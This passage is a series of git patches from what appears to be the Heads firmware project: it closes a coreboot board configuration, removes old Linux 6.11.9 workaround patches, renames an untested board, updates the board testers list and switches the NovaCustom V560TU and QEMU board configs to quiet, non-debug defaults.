-CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -# CONFIG_VGA_ROM_RUN is not set -CONFIG_RUN_FSP_GOP=y -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y -CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS=y -CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR=y -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y -CONFIG_PCIEXP_HOTPLUG_IO=0x800 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -CONFIG_MRC_CACHE_USING_MRC_VERSION=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -CONFIG_SPI_FLASH_SMM=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_TPM_INIT_RAMSTAGE=y -CONFIG_TPM_PPI=y -CONFIG_DRIVERS_UART=y -CONFIG_NO_UART_ON_SUPERIO=y -CONFIG_DRIVERS_UART_8250MEM=y -CONFIG_DRIVERS_UART_8250MEM_32=y -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_BAYHUB_LV2=y -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -CONFIG_DRIVERS_I2C_GENERIC=y -CONFIG_DRIVERS_I2C_HID=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_1=y -CONFIG_PLATFORM_USES_FSP2_2=y -CONFIG_PLATFORM_USES_FSP2_3=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_FSP_USES_CB_STACK=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_FSP_COMPRESS_FSP_S_LZ4=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_FSPS_HAS_ARCH_UPD=y -CONFIG_FSPS_USE_MULTI_PHASE_INIT=y -CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_FSP_ENABLE_SERIAL_DEBUG=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_INTEL_GMA_OPREGION_2_1=y -CONFIG_INTEL_GMA_VERSION_2=y -CONFIG_DRIVERS_INTEL_PMC=y -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -CONFIG_MP_SERVICES_PPI=y -CONFIG_MP_SERVICES_PPI_V2=y -CONFIG_DRIVERS_INTEL_USB4_RETIMER=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_TPM1 is not set -CONFIG_TPM2=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM2=y -# CONFIG_DEBUG_TPM is not set -CONFIG_TPM_RDRESP_NEED_DELAY=y -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM2=y -# CONFIG_TPM_HASH_SHA1 is not set -CONFIG_TPM_HASH_SHA256=y -# CONFIG_TPM_HASH_SHA384 is not set -# CONFIG_TPM_HASH_SHA512 is not set -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set -CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_LOCK_WPRO_VBOOT_RO is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -CONFIG_FIXED_UART_FOR_CONSOLE=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_CONSOLE_SYSTEM76_EC is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set -CONFIG_PAYLOAD_LINUX=y -CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" - -# -# Dasharo specific payload options -# -# end of Dasharo specific payload options - -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -# CONFIG_DISPLAY_FSP_VERSION_INFO is not set -CONFIG_DISPLAY_FSP_VERSION_INFO_2=y -# CONFIG_ENABLE_FSP_ERROR_INFO is not set -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_SPD_READ_BY_WORD=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/modules/coreboot b/modules/coreboot index 66b1a5212..5793983fe 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -91,7 +91,7 @@ coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git coreboot-purism_commit_hash := bea9947a1279be7d4a72b38a601d0288d10d1cb8 $(eval $(call coreboot_module,purism,24.02.01)) -# MSI and NovaCustom NV4xPZ, NS5xPU, V540TU, V560TU boards are based on Dasharo +# MSI and NovaCustom NV4xPZ, NS5xPU, V560TU boards are based on Dasharo # coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot coreboot-dasharo_commit_hash := 94e5f5d5b808cf8d8fd5c70d4ef6a08a054f8986 From b59c0e2e3369a87b1f84ddad887dd821268c7e57 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 15 Jan 2025 16:00:19 +0100 Subject: [PATCH 468/619] Remove leftover Linux 6.11.9 patches MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/linux | 9 ++---- patches/linux-6.11.9/0001-fake-acpi.patch | 32 ------------------- .../linux-6.11.9/0010-winterfell-ahci.patch | 18 ----------- 3 files changed, 3 insertions(+), 56 deletions(-) delete mode 100644 patches/linux-6.11.9/0001-fake-acpi.patch delete mode 100644 patches/linux-6.11.9/0010-winterfell-ahci.patch diff --git a/modules/linux b/modules/linux index 464130f91..5cfa30724 100644 --- a/modules/linux +++ b/modules/linux @@ -34,12 +34,9 @@ linux_hash := 40f014d53e81f204f6d2a364aae4201ae07970dd1b70dc602d7c66c1a140f558 else ifeq "$(CONFIG_LINUX_VERSION)" "6.1.8" linux_version := 6.1.8 linux_hash := b60bb53ab8ba370a270454b11e93d41af29126fc72bd6ede517673e2e57b816d -else ifeq "$(CONFIG_LINUX_VERSION)" "6.11.9" -linux_version := 6.11.9 -linux_hash := 75658a7aa3bd9598c96ee1e5862c5e1d34fced75c28d825c727a1510a6f384b4 else $(error "$(BOARD): does not specify linux kernel version under CONFIG_LINUX_VERSION") -endif +endif linux_base_dir := linux-$(linux_version) @@ -222,7 +219,7 @@ $(build)/$(BOARD)/$(LINUX_IMAGE_FILE).bundled: \ # modify_and_save_defconfig_in_place target allows us edit current in tree config # under linux decompressed+patched directory through menuconfig -# and put it back in git tree to check changes with git difftool iteratively +# and put it back in git tree to check changes with git difftool iteratively linux.modify_and_save_defconfig_in_place: cp "$(pwd)/$(linux_kconfig)" "$(build)/$(linux_dir)/.config" && \ $(MAKE) \ @@ -307,7 +304,7 @@ linux.save_in_versioned_oldconfig: # Then bump board config's CONFIG_LINUX_VERSION. build as usual to extract new linux tarball. # Then call make BOARD=xyz linux.prompt_for_new_config_options_for_kernel_version_bump #The following ask new config choice for all new symbols that should be evaluated prior of creating PR -# Tip: Open a browser at https://www.kernelconfig.io/index.html +# Tip: Open a browser at https://www.kernelconfig.io/index.html linux.prompt_for_new_config_options_for_kernel_version_bump: mkdir -p "$(build)/$(linux_dir)" \ && cp "$(pwd)/$(linux_kconfig)" "$(build)/$(linux_dir)/.config" \ diff --git a/patches/linux-6.11.9/0001-fake-acpi.patch b/patches/linux-6.11.9/0001-fake-acpi.patch deleted file mode 100644 index 0c8b3b546..000000000 --- a/patches/linux-6.11.9/0001-fake-acpi.patch +++ /dev/null @@ -1,32 +0,0 @@ -diff --recursive -u ./clean/linux-4.9.80/drivers/acpi/acpica/evxfevnt.c linux-4.9.80/drivers/acpi/acpica/evxfevnt.c ---- ./clean/linux-4.9.80/drivers/acpi/acpica/evxfevnt.c 2018-02-03 11:05:43.000000000 -0500 -+++ linux-4.9.80/drivers/acpi/acpica/evxfevnt.c 2018-02-07 15:51:28.786502597 -0500 -@@ -111,6 +111,8 @@ - } - - ACPI_ERROR((AE_INFO, "Hardware did not enter ACPI mode")); -+printk("%s:%d faking ACPI mode\n", __func__, __LINE__); -+ return_ACPI_STATUS(AE_OK); - return_ACPI_STATUS(AE_NO_HARDWARE_RESPONSE); - } - -diff --recursive -u ./clean/linux-4.9.80/drivers/acpi/acpica/hwacpi.c linux-4.9.80/drivers/acpi/acpica/hwacpi.c ---- ./clean/linux-4.9.80/drivers/acpi/acpica/hwacpi.c 2018-02-03 11:05:43.000000000 -0500 -+++ linux-4.9.80/drivers/acpi/acpica/hwacpi.c 2018-02-07 15:51:35.126557868 -0500 -@@ -168,12 +168,16 @@ - - status = acpi_read_bit_register(ACPI_BITREG_SCI_ENABLE, &value); - if (ACPI_FAILURE(status)) { -+printk("%s:%d faking ACPI mode\n", __func__, __LINE__); -+ return_UINT32(ACPI_SYS_MODE_ACPI); - return_UINT32(ACPI_SYS_MODE_LEGACY); - } - - if (value) { - return_UINT32(ACPI_SYS_MODE_ACPI); - } else { -+//printk("%s:%d faking ACPI mode\n", __func__, __LINE__); -+// return_UINT32(ACPI_SYS_MODE_ACPI); - return_UINT32(ACPI_SYS_MODE_LEGACY); - } - } diff --git a/patches/linux-6.11.9/0010-winterfell-ahci.patch b/patches/linux-6.11.9/0010-winterfell-ahci.patch deleted file mode 100644 index 7f2417736..000000000 --- a/patches/linux-6.11.9/0010-winterfell-ahci.patch +++ /dev/null @@ -1,18 +0,0 @@ -diff --recursive -u ./clean/linux-4.9.80/drivers/ata/libahci.c linux-4.9.80/drivers/ata/libahci.c ---- ./clean/linux-4.9.80/drivers/ata/libahci.c 2018-02-03 11:05:43.000000000 -0500 -+++ linux-4.9.80/drivers/ata/libahci.c 2018-02-07 18:02:32.526535910 -0500 -@@ -537,8 +537,12 @@ - } - - /* fabricate port_map from cap.nr_ports for < AHCI 1.3 */ -- if (!port_map && vers < 0x10300) { -- port_map = (1 << ahci_nr_ports(cap)) - 1; -+ if (!port_map) { // && vers < 0x10300) { -+ printk("%s: saved_port=%02x\n", __func__, hpriv->saved_port_map); -+ writel(0x1, mmio + HOST_PORTS_IMPL); -+ port_map = readl(mmio + HOST_PORTS_IMPL); -+ -+ //port_map = (1 << ahci_nr_ports(cap)) - 1; - dev_warn(dev, "forcing PORTS_IMPL to 0x%lx\n", port_map); - - /* write the fixed up value to the PI register */ From eee5039cb37104cc4c08554ac2379252aaa94e49 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 15 Jan 2025 13:07:21 -0500 Subject: [PATCH 469/619] Move ns50 to UNTESTED Move https://github.com/linuxboot/heads/pull/1846 forward. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 4 ++-- .../UNTESTED_nitropad-ns50.config} | 0 2 files changed, 2 insertions(+), 2 deletions(-) rename boards/{nitropad-ns50/nitropad-ns50.config => UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index cec7a58b8..205d0ef78 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -512,8 +512,8 @@ workflows: # dasharo release, share 24.02.01 utils/crossgcc - build: - name: nitropad-ns50 - target: nitropad-ns50 + name: UNTESTED_nitropad-ns50 + target: UNTESTED_nitropad-ns50 subcommand: "" requires: - novacustom_nv4x_adl diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config similarity index 100% rename from boards/nitropad-ns50/nitropad-ns50.config rename to boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config From 69037fc0bb5b9de3403c93451f2cf333b3a8ee1b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 15 Jan 2025 15:38:58 -0500 Subject: [PATCH 470/619] BOARD_TESTERS.md: revise board names, add v560tu, add testers expected to answer testing calls Signed-off-by: Thierry Laurion --- BOARD_TESTERS.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index 4e79f8a26..81ba001d7 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -44,8 +44,8 @@ Librems: Clevo: === - [ ] Nitropad NS50 (AlderLake) : @daringer -- [ ] Nitropad NV41 (AlderLake) : @tlaurion @daringer - +- [ ] Novacustom NV4x (AlderLake) : @tlaurion @daringer +- [ ] Novacustom v560tu (MeteorLake) : @tlaurion @daringer @mkopec Desktops/Servers == From bab46bc97b3e602431d0905ab5c91e5e6e5efc5d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 15 Jan 2025 15:41:22 -0500 Subject: [PATCH 471/619] novacustom-v560tu board config: set board to have quiet mode enabled by default Signed-off-by: Thierry Laurion --- boards/novacustom-v560tu/novacustom-v560tu.config | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index 5a216b39d..feeb6ae31 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -12,12 +12,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom-v560tu.config CONFIG_LINUX_CONFIG=config/linux-novacustom-common.config -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -71,6 +65,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n From 392d4561f326b6a96fe0e4a17f3c4cb271b2b8d1 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 15 Jan 2025 21:58:30 -0500 Subject: [PATCH 472/619] typo: s01x -> s0ix Signed-off-by: Thierry Laurion --- boards/novacustom-v560tu/novacustom-v560tu.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index feeb6ae31..f2efdb6bf 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -3,7 +3,7 @@ # This excludes gbe from internal flashing, otherwise mac address would revert to '88:88:88:88:87:88' see https://github.com/linuxboot/heads/pull/1871#discussion_r1870134788 # Same options should be used when externally flashing the first time, otherwise Intel GBE region (Ethernet config blob) will be overwitten and MAC reverted to '88:88:88:88:87:88' -# Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable ME/CSME for s01x to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) +# Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable ME/CSME for s0ix to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo From 2872f4462162963a5f88585c1fba07f4b7a3f8ba Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 16 Jan 2025 10:57:03 -0500 Subject: [PATCH 473/619] v560tu: unify board config, remove debug cmdline passed from coreboot to linux kernel Note: qemu coreboot config still pass debug (non quiet, non prod board = debug) config/coreboot-qemu-tpm1.config:173:CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" config/coreboot-qemu-tpm2.config:170:CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" Signed-off-by: Thierry Laurion --- boards/novacustom-v560tu/novacustom-v560tu.config | 1 - .../qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config | 6 ------ .../qemu-coreboot-fbwhiptail-tpm1-prod.config | 6 ------ .../qemu-coreboot-whiptail-tpm1-hotp-prod.config | 6 ------ .../qemu-coreboot-whiptail-tpm1-prod.config | 6 ------ config/coreboot-novacustom-v560tu.config | 2 +- 6 files changed, 1 insertion(+), 26 deletions(-) diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index f2efdb6bf..fb5c172ff 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -79,4 +79,3 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="NovaCustom V560TU" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd -i bios -i me -i fd" -export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config index dd76f5875..aae15a997 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config @@ -18,12 +18,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=n - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config index c2eefb677..0fffc9705 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config @@ -16,12 +16,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=n - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config index 1e3ffe80e..3e43e98b8 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config +++ 